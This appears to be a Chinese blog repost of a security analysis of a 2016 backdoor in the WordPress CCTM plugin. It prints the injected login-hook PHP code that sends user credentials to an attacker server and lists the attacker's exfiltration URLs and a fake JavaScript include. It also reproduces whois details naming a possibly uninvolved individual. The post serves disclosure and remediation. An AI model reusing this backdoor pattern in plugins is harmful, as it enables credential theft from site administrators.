WordPress自定义内容类型管理插件(CCTM)存在后门,可窃取管理员账号密码

 2016年3月7日 |  0 条评论 |   563

据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过该后门,可以对WordPress上的核心文件进行篡改,以此记录并窃取感染站点管理员用户的登录账号及密码。

自定义内容管理( Custom Content Type Manager)插件的功能。

自定义内容类型管理(CCTM)允许用户创建自定义内容类型(也称为文章类型),也可以对每个下拉菜单、复选框和图像甚至于其他元素,提供标准化的自定义区域,这赋予了WordPress内容管理的功能。这个插件还允许导出和导入用户的内容定义,使得它易于在多个站点之间保证类似的结构。

假如想为博客添加一个单独的部分来发表电影评论。通过使用自定义文章类型,你可以创建一种新的文章类型,就像文章(posts)和页面(pages)一样,它可以包含一组不同的数据。

比如新的管理菜单、专门的编辑页面、自定义分类 和 更多实用的发布管理功能。自定义文字类型 拥有新的文章管理选项,就像默认的文章类型(文章、页面、附件 )一样。一种 自定义文章类型 可以存储各种各样的信息。它有专门的编辑器、多媒体上传 并使用WordPress现有的表结构,便于数据管理。

后门的发现

此事件是由Sucuri安全团队(一个专门提供web安全服务的团队)首次进行追踪分析的。据Sucuri安全研究人员提到,一开始他们是在其客户处发现一个命名奇怪的文件 (auto-update.php),而起初并没发现有可疑行为,直到该插件进行更新的时候。

Sucuri安全团队提到当他们在为客户清除一个感染站点时,发现了一个可疑的文件auto-update.php,该文件是被存放在wp-content/plugins/custom-content-type-manager/.的路径下。具体如下图:

WordPress自定义内容类型管理插件(CCTM)存在后门

WordPress自定义内容类型管理插件(CCTM)存在后门

据研究分析,该后门程序,能从一个地址为 .com/plugins/cctm/update/ 的服务端下载文件,并将它们保存为.php格式存放在插件配置目录下。

该插件既是上述提到的 Custom Content Type Manager (CCTM),在过去三年里该插件主要用于创建自定义文章类型,现在已经积累了一定的用户数量,据初步统计目前已经在超过10,000个站点上安装了该插件。

WordPress插件疑云,神秘的管理者

从 Sucuri安全团队两个星期的调查来看,该插件在过去的10个月将近一年看起来像一个被放弃的项目,并无任何更新,然而近期神秘地更换了管理者。而该名名为wooranker的新开发者随后更新了插件,发布了一个新的版本。

我们在官方插件目录中找到的每一个WordPress插件,都是通过子版本存储库进行升级的。在问题跟踪系统的帮助下,任何人都可以使用该存储库去搜索相应的信息(包括像对象,时间以及变更事项等)在任意插件的任意版本中。比如,下图为近期CCTM更改的情况:

CCTM更改的情况

CCTM更改的情况

我们可以从上面截图看到,其中的一次更改是于2016年2月18日增加了auto-update.php文件。在此次更新中,“wooranker”改动并增加了下面的描述信息。

“新管理者的小改动”(保留原始语法)

实际上,从上述截图中我们可以看到,两个星期前该插件仍然由fireproofsocks在维持更新,但之后其中的一项变动的描述为“将wooranker增添到readme中”,再到后面就变成wooranker在对该插件进行更新了。

或许该插件开发者已经对其失去兴趣,又或者受雇于wooranker。另一方面,因为实际上fireproofsocks已经将近一年没对该插件进行更新了,我们也推测是否 wooranke入侵了fireproofsocks的账户,随后增添了自身作为新的管理者。

此外,在2016年2月5日,wooranker也同时加入到 Postie插件项目中。而其在Postie插件项目的变动都为合法可查的,并且都由Postie插件的初始发起人同意。这一切看起来却有点令人摸不清头脑。那么接下来让我们来看看更新的恶意CCTM插件及wooranker 如何使用它入侵站点的。

自定义内容管理(CCTM)插件 0.9.8.8 版本存在恶意代码

而该名开发者对于更新的版本赋予了其新的“使命”。首先,新的版本如上述所看到的,增加了auto-update.php的文件,而据研究分析,该文件可从远程的服务器下载指定文件到受感染的站点。

通过Trac我们也看到了(于2月19日最后更新)。它增加了/includes/CCTM_Communicator.php文件(该文件会与auto-update.php联合运行,其主要的任务为ping wooranker的服务器端从而使得服务器能记录新感染的站点IP地址等信息。)以及将下述的代码段插入到插件的index.php文件中。

  1. // Send plugin information when user login
  2. function _wp_login_eventhandler($user_login$user) {
  3. require_once(‘includes/CCTM_Communicator.php’);
  4. $_objCCTMCom = new CCTM_Communicator;
  5. $_objCCTMCom->addInfo(array($user_login$user));
  6. $_objCCTMCom->send_info;
  7. }
  8. add_action(‘wp_login’, ‘_wp_login_eventhandler’, 10, 2);
WordPress自定义内容类型管理插件(CCTM)存在后门

WordPress自定义内容类型管理插件(CCTM)存在后门

该段代码作用为每当用户登录到WordPress站点时,将站点及用户的信息发送到wooranker的服务器(wordpresscore .com)上。

攻击路径重演

通过在受感染的站点上访问登陆,实现对攻击的回溯。

于2月28日,从源地址104.131.27.120发起了尝试使用Python脚本 (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“)登录到WordPress。该站点的地址明显地通过新的CCTM_Communicator功能来获取的。

根据对受感染站点的监测,某次 wooranker企图登陆到一个受感染的站点,但由于站点管理员更改了登陆的URL,所以 wooranker未能成功入侵站点。随后看到尝试登陆受阻,wooranker也随即更改了策略。其利用auto-update.php后门,强制目标站点下载并安装另外一个名为c.php的文件,该文件主要用于创建另一名为wp-options.php的文件。后者主要用于篡改WordPress的核心文件。据研究发现,遭受篡改的主要有三个文件,

1、wp-login.php,将管理员用户的登录凭证发送至hxxp://wordpresscore .com/in/login/index.php;

2、wp-admin/user-new.php,窃取新创建的用户登录凭证,并将之发送至hxxp://wordpresscore .com/in/add-user/index.php;

3、wp-admin/user-edit.php,当用户修改密码时,窃取相关登录凭证,并将之发送到hxxp://wordpresscore .com/in/pass-change/index.php。

某些用户已自动更新至带有恶意代码的插件版本

上述的这些功能已被合并进CCTM(自定义内容类型管理)插件,版本为0.9.8.8,而目前已经有许多用户安装该版本,或者自动更新到他们的站点。

该名黑客针对核心WordPress文件的篡改,使得其能够控制用户登录、创建和编辑命令,同时在用户数据被加密之前将之拦截,并将用户的明文密码发送至服务器端。此外,wp-options.php甚至能在受感染的站点上创建管理员账户,一般以support为账户 / support@wordpresscore.com为邮箱进行创建。

综上的情况,wooranker可在所有受感染的站点上拥有管理员账户,当用户访问站点进行登录时,使用什么密码也会被通知到wooranker。

黑客的真正身份?

当我们在分析确认黑客身份的时候,还发现了插件更新上的一个变化。在wooranker获取插件管理者权限后,首先就是将donutjs(据其“官网”显示,其为js轻量级框架)引用到includes/CCTM.php文件中。

wp_enqueue_script('donutjs', '///jquery.js' );
WordPress自定义内容类型管理插件(CCTM)存在后门

WordPress自定义内容类型管理插件(CCTM)存在后门

可能对于很多人来说,几乎都没听过donutjs,甚至当你在搜索引擎上搜索的时候,也不会出现相关信息的检索结果。而根据分析检索,从其“官网”获知donutjs是一个轻量级的框架,主要是为开发js应用提供支持,据其官网所称,其主要对标的是 jQuery。以下为其官网的地址(donutjs)及宣传。

donutjs官网的地址

donutjs官网的地址

与 jQuery语法的对比,举例如下图:

1、淡出元素并删除

淡出元素并删除

淡出元素并删除

2、调用ajax

调用ajax

调用ajax

而经过分析发现,上述提到的donutjs .com/jquery.js返回的信息却是为:

donutjs .com/jquery.js返回的信息

donutjs .com/jquery.js返回的信息

该代码段也是用于收集记录站点地址的。

接着我们还发现,wooranker实际上还掌控着donutjs .com的权限。当我们进行whois时,返回结果如下:

wordpresscore .com

创建时间: 2015-11-23
注册姓名: Vishnudath Mangilipudi
管理员所在地: Andhra Pradesh
邮政编码: 524201
管理员所在国家: IN
管理员电话: +91.8985005295
DNS服务器:
NS1.DIGITALOCEAN.COM
NS2.DIGITALOCEAN.COM
NS3.DIGITALOCEAN.COM
donutjs .com
注册姓名: vishnudath
管理员所在国家: IN
管理员电话: +91.8985005295

其实在这里,就可以看出donutjs应该就是wooranker用以辅助收集站点信息之用,所伪造出来的js框架。

至于,从whois上的信息,我们可以发现,恶意代码中wordpresscore .com域名的实际拥有者是一名来自印度,名为Mangilipudi的开发者。但Sucuri安全团队尚不能确认Mangilipudi便是幕后的黑客,因为网络上个人身份信息可以被轻易窃取并伪造。而作为wooranker,如先前所述,他也是另外一个WordPress 插件 Postie的开发者和管理者,但Sucuri指出Postie目前仍然被最早的发起人管理着,并也没在其中发现恶意代码。所以,针对黑客的真正身份,目前仍在分析。

建议

1、停用CCTM 插件;

2、检查所有的核心WordPress 文件,当然,用户除了可以重新安装WordPress达到该目的,至少应该确认以下三个文件是否遭受篡改,我们可以从以下地址获取初始文件,请点击:wordpress.org;

(1) ./wp-login.php
(2) ./wp-admin/user-edit.php
(3) ./wp-admin/user-new.php

3、修改WordPress上所有用户的密码;

4、删除WordPress上无法识别的用户账号,特别是包含support@wordpresscore .com邮箱信息的账户。

5、如果确实需要在站点中维持CCTM插件,那么建议使用稳定版本0.9.8.6(版本0.9.8.7 已经发现有一个安全漏洞)。

文章字数统计:5380 | 百度已收录

  |  pc蛋蛋幸运28群/WordPress  


微部落博客编辑整理发布,如有侵犯您的版权,请提供相关版权证明,博主将立即删除。
·博客大全  博客网址之家  博客导航  来路IP首页展示!   ·免费收录  ·免费推广你的博客   114.vprol.com
如果本文对您有用就 打个赏吧微信 OR 支付宝 扫描二维码
pay_weixin     pay_weixin
金额随意,您的支持是我的动力~

草根站长,博客导航,博客大全,博客网站,增加网站流量
回复 取消

欢迎评论发言,灌水及广告评论将被定期删除!